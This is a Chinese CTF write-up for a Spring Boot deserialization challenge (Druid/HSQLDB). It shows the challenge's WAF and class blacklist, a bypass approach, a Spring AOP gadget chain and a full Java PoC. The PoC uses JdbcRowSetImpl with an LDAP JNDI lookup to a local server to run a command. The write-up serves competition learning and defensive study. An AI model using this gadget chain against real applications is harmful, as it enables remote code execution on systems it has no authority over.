浅析CCSSSC软件攻防赛druid+Hsql依赖题解
字数 787 2025-08-30 06:50:28
浅析CCSSSC软件攻防赛druid+Hsql依赖题解
环境分析
题目环境使用了以下关键依赖:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<version>2.4.1</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.2.8</version>
</dependency>
</dependencies>
关键组件:
- Spring Boot 2.7.0
- HSQLDB 2.4.1
- Druid 1.2.8
- 隐含的Jackson依赖(用于反序列化)
题目分析
题目提供了一个反序列化入口点,并设置了以下WAF防护:
- 对明文反序列化数据流进行简单过滤
- 重写了ObjectInputStream类进行黑名单判断
WAF实现细节
MyObjectInputStream类关键代码:
public class MyObjectInputStream extends ObjectInputStream {
private String[] denyClasses;
public MyObjectInputStream(ByteArrayInputStream var1) throws IOException {
super(var1);
ArrayList<String> classList = new ArrayList<>();
InputStream file = MyObjectInputStream.class.getResourceAsStream("/blacklist.txt");
BufferedReader var2 = new BufferedReader(new InputStreamReader(file));
while (true) {
String var4 = var2.readLine();
if (var4 != null) {
classList.add(var4.trim());
} else {
this.denyClasses = new String[classList.size()];
classList.toArray(this.denyClasses);
return;
}
}
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
for (String denyClass : this.denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
黑名单内容(blacklist.txt)
javax.management.BadAttributeValueExpException
com.sun.org.apache.xpath.internal.objects.XString
java.rmi.MarshalledObject
java.rmi.activation.ActivationID
javax.swing.event.EventListenerList
java.rmi.server.RemoteObject
javax.swing.AbstractAction
javax.swing.text.DefaultFormatter
java.beans.EventHandler
java.net.Inet4Address
java.net.Inet6Address
java.net.InetAddress
java.net.InetSocketAddress
java.net.Socket
java.net.URL
java.net.URLStreamHandler
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
java.rmi.registry.Registry
java.rmi.RemoteObjectInvocationHandler
java.rmi.server.ObjID
java.lang.System
javax.management.remote.JMXServiceUR
javax.management.remote.rmi.RMIConnector
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
javax.swing.UIDefaults$TextAndMnemonicHashMap
java.rmi.server.UnicastRemoteObject
java.util.Base64
java.util.Comparator
java.util.HashMap
java.util.logging.FileHandler
java.security.SignedObject
javax.swing.UIDefaults
攻击思路
第一步:绕过第一层WAF
WAF检查内容:
if (temp.contains("naming") || temp.contains("com.sun") || temp.contains("jdk.jfr")) {
return "banned";
}
绕过方法:
- 使用UTF8OverlongEncoding方法
- 不使用包含这些字符串的类(com.sun, naming, jdk.jfr)
第二步:利用Spring AOP链
攻击链:
PriorityQueue#readObject()
-> PriorityQueue#heapify()
-> PriorityQueue#siftDown()
-> PriorityQueue#siftDownUsingComparator()
-> Proxy#任意接口JdkDynamicAopProxy.invoke()
-> ReflectiveMethodInvocation.proceed()
-> AspectJAroundAdvice#invoke
-> org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()
-> method.invoke()
参考资源:
完整POC
package com.example.ezjav;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.rowset.JdbcRowSetImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import java.lang.reflect.*;
import java.util.*;
import static sun.reflect.misc.FieldUtil.getField;
public class Exp {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Deserialize/Jackson/Command/Y2FsYw==");
Method method=jdbcRowSet.getClass().getMethod("getDatabaseMetaData");
System.out.println(method);
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(jdbcRowSet);
AspectJAroundAdvice advice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),factory);
Proxy proxy1 = (Proxy) getAProxy(advice,Advice.class);
Proxy finalproxy=(Proxy) getBProxy(proxy1,new Class[]{Comparator.class});
//代理链子
PriorityQueue priorityqueue=new PriorityQueue(1);
priorityqueue.add(1);
priorityqueue.add(2);
setValue(priorityqueue,"comparator",finalproxy);
setValue(priorityqueue,"queue",new Object[]{proxy1,proxy1});
//序列化反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(priorityqueue);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(res))).readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getBProxy(Object obj,Class[] clazzs) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);
return proxy;
}
public static Object getAProxy(Object obj,Class<?> clazz) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj;
DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor(
(Advice) getBProxy(advice, new Class[]{MethodInterceptor.class, Advice.class}));
advisedSupport.addAdvisor(advisor);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}
}
关键点说明
- JNDI利用:使用了JdbcRowSetImpl配合LDAP服务实现RCE
- 代理链构造:通过多层代理构造调用链
- Spring AOP利用:利用Spring AOP的调用链实现反序列化漏洞利用
- 绕过黑名单:通过不使用黑名单中的类来绕过防护
注意事项
- 使用jadx保存伪代码时,需要在项目中新建Resources目录并放入blacklist.txt文件
- 本地测试时可以使用JNDIMap工具
- Spring AOP版本需要匹配题目环境,否则可能无法成功利用
总结
这道题目展示了如何利用Spring AOP链实现反序列化漏洞的利用,通过精心构造的代理链绕过了黑名单限制,最终实现了RCE。这种利用方式非常巧妙,需要对Spring框架的内部机制有深入理解。